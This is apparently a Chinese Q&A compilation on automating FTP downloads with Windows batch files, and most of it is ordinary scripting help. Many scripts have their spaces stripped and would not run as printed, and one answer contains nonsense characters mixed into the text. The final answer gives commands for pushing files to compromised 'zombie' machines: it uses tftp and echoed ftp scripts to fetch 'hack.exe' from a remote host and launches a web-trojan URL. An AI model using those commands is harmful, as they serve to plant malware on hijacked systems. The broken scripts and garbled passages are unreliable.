當前位置:首頁 » 文件管理 » ftp批處理下載

ftp批處理下載

發布時間: 2024-01-03 02:52:06

『壹』 批處理bat從ftp下載文件

你的命令本身體就存在問題
1.在cmd中輸入ftp打開ftp.exe進入ftp

ftp>open ftp--ip
ftp>uesr
ftp>pass
ftp>dir (顯示所有文件/目錄)
ftp>mget cf*.* D:\test (多文件下載要用mget,居然沒人發現。。。)
ftp>y (確認下載)
ftp>bye (退出ftp)
exit
2.登陸ftp可直接在cmd中輸入ftp ftp--ip
3.open 是ftp的命令啊 批處理只是調用ftp.exe 可不是說ftp是cmd中的。。。
4.求分啊。。。

『貳』 用批處理從FTP上下載文件夾里的所有文件包括子目錄到本地的D盤根目錄下

@echooff
rem指定FTP用戶名
setftpUser=FTPUSERNAME
rem指定FTP密碼
setftpPass=FTPPASSWORD
rem指定FTP伺服器地址
setftpIP=192.168.0.2
rem指定待下載的文件位於FTP伺服器的哪個目錄
setftpFolder=/SharedFile/Log
rem指定從FTP下載下來的文件存放到本機哪個目錄
setLocalFolder=D:/

setftpFile=%temp%/TempFTP.txt
>"%ftpFile%"(
echo,%ftpUser%
echo,%ftpPass%
echocd"%ftpFolder%"
echolcd"%LocalFolder%"
echobin
echomget*.*
echobye
)
startftp-v-i-s:"%ftpFile%"%ftpIP%

如果需要下載某個目錄下的.txt類型的所有文件,請把
mget*.*
改成
mget*.txt
如果需要下載某個目錄下的某一個文件a.txt,請把
mget*.*
改成
geta.txt

『叄』 如何用批處理自動從FTP下載並運行一個執行文件呀

問題1 你把Start命令寫到ftp下載中去了.

@echooff
<"%~f0"more+4>t
ftp-i-s:t
startd:2.exe
startd:dhj1.vbs
exit/b
open192.168.XX.XX
anonymous
User@
get/FTP/1.exed:2.exe
get/dhj1.vbsd:dhj1.vbs
quit

『肆』 請教高手,用批處理命令FTP自動下載文件。

① 如果我理解沒錯,遠端目錄,最深層的那個子目錄(名稱是日期)的那個,每天都是變的;你要下載的是裡面的文件(不含子目錄);文件下載到本地E:dzyl下,而且目錄也是按伺服器上的日期創建。

② 批處理固定每天運行,從伺服器前一天的目錄下載文件。


如果理解正確,那麼下面的代碼可以實現(已測試過),ip地址你需要修改!你的操作系統如果是英文,也需呀修改(具體看腳本中的提示)

@echooff&
set"ftp_site=19.6.5.34"
set"ftp_id=pracq"
set"ftp_pwd=123456"
set"ftp_remote_dir=/ftp/bos/at/pracq/"
set"ftp_local_dir=E:dzyl"
:100
set"ftpcmd={{%random%}}.ftp"
ifexist%ftpcmd%goto100

::英文系統用下面這個,把下面一行中的::去除
::set"today=%date:~6,4%%date:~0,2%%date:~3,2%"
::中文系統用下面這個,如果是英文,在下面一行句首添加::
set"today=%date:~0,4%%date:~5,2%%date:~8,2%"

settoday=!today:~0,4!-!today:~4,2!-!today:~-2!
call:Date2Day!today!1Yesterday
setftp_remote_dir=!ftp_remote_dir!!yesterday!
>%ftpcmd%echoopen!ftp_site!
>>%ftpcmd%echo!ftp_id!
>>%ftpcmd%echo!ftp_pwd!
>>%ftpcmd%echocd!ftp_remote_dir!
>>%ftpcmd%echobye
for/f%%iin('ftp-s:%ftpcmd%')doif{%%i}=={550}(
!
gotoend
)
setftp_local_dir=!ftp_local_dir!!yesterday!
md!ftp_local_dir!1>nul2>&1
ifnotexist!ftp_local_dir!(
!
gotoend
)

>%ftpcmd%echoopen!ftp_site!
>>%ftpcmd%echo!ftp_id!
>>%ftpcmd%echo!ftp_pwd!
>>%ftpcmd%echocd!ftp_remote_dir!
>>%ftpcmd%echolcd!ftp_local_dir!
>>%ftpcmd%echobinary
>>%ftpcmd%echopromptn
>>%ftpcmd%echomget*.*
>>%ftpcmd%echobye
set/acount=0
for/f%%iin('ftp-s:%ftpcmd%')do(
if{%%i}=={226}set/acount=!count%+1
)
if!count!gtr0(
echoDone.!count!file^(s^)downloaded.
)else(
echoNofilehasbeendownloaded.
)
gotoend

:Date2Day
::call:Date2Day2007-11-122Day
@echooff&setlocal
for/f"tokens=1-3delims=/-:,"%%ain('echo/%~1')do(
set/ayy=%%a,mm=100%%b%%100,dd=100%%c%%100
)
set/az=14-mm,z/=12,y=yy+4800-z,m=mm+12*z-3,j=153*m+2
set/aj=j/5+dd+y*365+y/4-y/100+y/400-2472633
set/ai=j-%~2,a=i+2472632,b=4*a+3,b/=146097,c=-b*146097,c/=4,c+=a
set/ad=4*c+3,d/=1461,e=-1461*d,e/=4,e+=c,m=5*e+2,m/=153,dd=153*m+2,dd/=5
set/add=-dd+e+1,mm=-m/10,mm*=12,mm+=m+3,yy=b*100+d-4800+m/10
(if%mm%LSS10setmm=0%mm%)&(if%dd%LSS10setdd=0%dd%)
endlocal&set%~3=%yy%%f%%mm%%f%%dd%&
goto:eof

:end
ifexist%ftpcmd%(typenul>%ftpcmd%&&del/f/q%ftpcmd%1>nul2>&1)
endlocal&@echoon

測試運行結果:

Done.5file(s)downloaded.

『伍』 由bat批處理做成的ftp自動下載,怎麼才能不自動覆蓋

。用其它軟體建的FTP伺服器我沒用過,不清楚dir命令返回結果的的格式。有問題可以Hi。
大體的工作流程是這樣。首先遠程文件夾列表是空的,寫入一行「/」(遠程根文件夾)。然後開始循環。第n次循環,獲取運程文件夾列表第n行文件夾內的子文件夾和文件的列表,處理獲取的這個列表,把列表裡的子文件夾加入遠程文件夾列表,把列表裡的文件下載下來。一直循環,直到最後遠程文件夾列表第n行為空。

如果不需要保存文件夾結構,可以用 lanny119 的方法,用mget命令下載全部文件。

rem setlocal批處理中所作的環境更改隻影響本批處理。前面加@的作用,不顯示此行命令本身
@setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
rem 顯示命令本身 關
@echo off
rem 填ftp伺服器地址或域名
set ftpsvr=
rem 填用戶名
set user=
rem 填密碼
set pass=
rem 填保存備份的文件夾
set archdir=D:\backup
rem 填WinRAR安裝文件夾,如:C:\Program Files\WinRAR
set rardir=
rem 把要使用的臨時文件夾的路徑設為環境變數mytemp
set mytemp=%temp%\ftp.x
rem 防止可能的同名文件夾或文件存在影響工作,全刪一遍。>nul不顯示回顯 2>nul不顯示錯誤信息
rd /s /q "%mytemp%">nul 2>nul
del /a /f "%mytemp%">nul 2>nul
md "%mytemp%"

rem 把一個斜杠寫到%mytemp%\rdl裡面。斜杠表示遠程的根文件夾。rdl用作保存遠程文件夾列表。
echo />"%mytemp%\rdl"
rem 已下載文件的遠程文件夾計數
set dcount=0
rem 標號 cycle
:cycle
rem 獲取遠程文件夾內的文件和子文件夾列表。
rem 因為下面那個for要被執行多次,非第一次執行要跳過已處理的行,所以要寫skip=n。
rem 但是,第一次執行時,寫個skip=0出錯。所以第一次執行時不寫ship= 。
if %dcount%==0 set oo=
if not %dcount%==0 set oo=^ skip=%dcount%
rem 跳過指定的行數,每次從rdl文件中取一行賦給%%I。
for /f "tokens=*%oo%" %%I in (%mytemp%\rdl) do (
rem 為ftp准備命令文件(獲取文件列表用)。第一行用的>替換ftpcmd文件的內容,>>追加。
echo open %ftpsvr%>"%mytemp%\ftpcmd"
echo %user%>>"%mytemp%\ftpcmd"
echo %pass%>>"%mytemp%\ftpcmd"
rem 寫入的內容為更改遠程工作目錄為for語句取到的目錄。
echo cd "%%I">>"%mytemp%\ftpcmd"
rem 寫入的內容為獲取遠程工作目錄里的文件和子文件夾列表,保存到dir文件。
echo dir -a "%mytemp%\dir">>"%mytemp%\ftpcmd"
echo bye>>"%mytemp%\ftpcmd"
rem 以指定命令文件的方式執行ftp語句。回顯內容太多,不顯示。
ftp -s:"%mytemp%\ftpcmd">nul

rem 下面是處理獲取的dir文件及准備命令文件(下載文件用)。
echo open %ftpsvr%>"%mytemp%\ftpcmd"
echo %user%>>"%mytemp%\ftpcmd"
echo %pass%>>"%mytemp%\ftpcmd"
echo cd "%%I">>"%mytemp%\ftpcmd"
set ff=
rem 每次從dir文件中取一行的第三段和第三段後面所有的(tokens=3*)。
for /f "tokens=3*" %%K in (%mytemp%\dir) do (
rem 如果第三段等於<DIR>,是文件夾,加入rdl。<和>不加^為輸入輸出重定向符號。
rem %%L為第四段,如果還有更多部分,MN…類推。
if %%K==^<DIR^> echo %%I%%L/>>"%mytemp%\rdl"
rem 是文件,加入命令文件准備下載。
if not %%K==^<DIR^> (
echo recv "%%L">>"%mytemp%\ftpcmd"
rem 顯示要下載的文件。
echo 下載 %%I%%L ···
set ff=1
)
)
rem 用環境變數的字元串替換功能把斜杠替換成Win的反斜杠。
set ss=%%I
set ss=!ss:/=\!
rem 在臨時文件夾里建立對應文件夾。
md "%mytemp%\root!ss!"
rem !為環境變數延遲擴充符號,不在語句塊被執行時擴充,而是延遲到本條語句被執行時擴充。
rem 有文件要下載才執行裡面的。
if !ff!==1 (
echo bye>>"%mytemp%\ftpcmd"
rem 更改本地目錄到對應文件夾。
cd /d "%mytemp%\root!ss!"
ftp -s:"%mytemp%\ftpcmd">nul
)
rem 處理完一個文件夾,計數加一。
set /a dcount=!dcount!+1
)
rem 前面for語句讀入rdl並處理,在處理中rdl又可能有行被加入。
rem 如果計數沒變化,說明rdl中沒有要處理的行了,轉到標號compress。
if "%dcount%"=="%lstdcount%" goto :compress
rem 沒轉走就記錄計數,轉到標號cycle。
set lstdcount=%dcount%
goto :cycle

:compress
echo 壓縮已下載的文件···
rem 子命令a,添加文件到壓縮文件。開關-ep1,壓縮文件中文件不帶源文件基本路徑。
rem 開關-o+,覆蓋開。開關-r,包含子文件夾。開關-agYYYYMMDD,日期作為存檔文件名。
"%rardir%\rar.exe" a -ep1 -o+ -r -agYYYYMMDD "%archdir%\" "%mytemp%\root\*">nul
cd "%temp%"
rem 刪除臨時文件夾。
rd /s /q "%mytemp%"

本地WinXP簡體中文,遠程IIS,通過。
這樣可以保存文件夾結構。不足是太復雜,不能下載隱藏文件。不知道有沒有簡單的方法及下載隱藏文件的方法。

『陸』 FTP命令下載FTP伺服器文件問題

命令語法不對。ftp命令和操作系統命令不能混用。批處理文件執行的是操作系統的命令,不識別ftp shell。
先把ftp所有命令寫入一個文本文件例如d:\temp\f.txt
如果需要用戶名密碼驗證,則直接把用戶名密碼寫在文本前兩行,以後跟其他命令。
創建批處理文件,寫入命令:
ftp -s:(跟文本文件全路徑+文件名擴展名) (伺服器地址)
執行這個批處理文件即可,還可將批處理添加到任務計劃更顯自動化。
一個完整例子:

設D盤有兩個文件夾:d:\MyAppfiles和d:\Music
在d:\MyAppfiles文件夾下創建文本文件getmusic.txt和批處理文件getmusic.bat

getmusic.txt內容如下(括弧中是說明部分,在文本文件中不寫):
lover (用戶名)
passwd (密碼)
cd music (進入伺服器上的Music文件夾)
mget *.mp3
bye

getmusic.bat內容如下:
cd\music
ftp -s:d:\MyAppfiles\getmusic.txt 192.168.0.16

執行getmusic.bat,即可把伺服器192.168.0.16 ftp站點下Music文件下的mp3文件下載到本地d:\Music文件夾下

『柒』 批處理來完成FTP文件自動下載

    前幾天筆者遇到一個需求,在windows平台下使用ftp來遠程獲取交換機扮畢漏的配置文件。鑒於每一次都需要在命令行裡面手動輸入,過程繁瑣,於是想著使用腳本來完成這個重復性的工作,實現自動化。python的ftplib庫也可以解決這個問題,但是筆者未來和其他bat腳本揉在一起,直接windows平台下使用批處理bat來完成。

    ftp -s可以指定包含ftp命令的文本文件,ftp啟動後這些命令將自動運行。

主批處理文件:ftp_main.bat 

ftp命令批處理文件:ftp_task.bat,文件放置於D盤下。

    除了FTP之外,date修數敏改電腦日期,time修改電腦廳爛時間,echo ^G測試電腦聲音。注意,「^G」是在命令行中使用ctrl + g輸入的,可以使用echo ^G > test.txt來獲取這個字元。

    最後這個腳本東湊西湊,界面如下:

『捌』 怎麼用DOS下載FTP文件

向肉雞上傳文件命令:
第一種方法:tftp
命令格式:tftp
-i
192.168.254.2
get
1.exe
第二種方法:ftp
命令格式:
echo
open
xxx.xxx.xxx.xxx>c:\520hack.txt
echo
user>>c:\520hack.txt
echo
pass>>c:\520hack.txt
echo
get
hack.exe>>c:\520hack.txt
echo
bye>>c:\520hack.txt
ftp
-s:c:\520hack.txt
del
c:\520hack.txt
第三種方法:
start
http://59.42.23.34/1.exe
(改成你的網頁木馬地址)

熱點內容
openwrt編譯零基礎 發布:2025-01-21 01:53:30 瀏覽:19
視頻聊天室源碼php 發布:2025-01-21 01:39:29 瀏覽:938
游戲腳本xp 發布:2025-01-21 01:25:48 瀏覽:209
cfa建模需要什麼電腦配置 發布:2025-01-21 01:16:41 瀏覽:96
配置獲取異常怎麼辦 發布:2025-01-21 01:16:29 瀏覽:641
植發都加密嗎 發布:2025-01-21 01:16:28 瀏覽:735
工商保障卡原始密碼是什麼 發布:2025-01-21 01:09:33 瀏覽:786
sqlserver2012sp 發布:2025-01-21 01:06:23 瀏覽:888
驚變在線看ftp 發布:2025-01-21 01:06:20 瀏覽:233
用近似歸演算法 發布:2025-01-21 00:51:56 瀏覽:517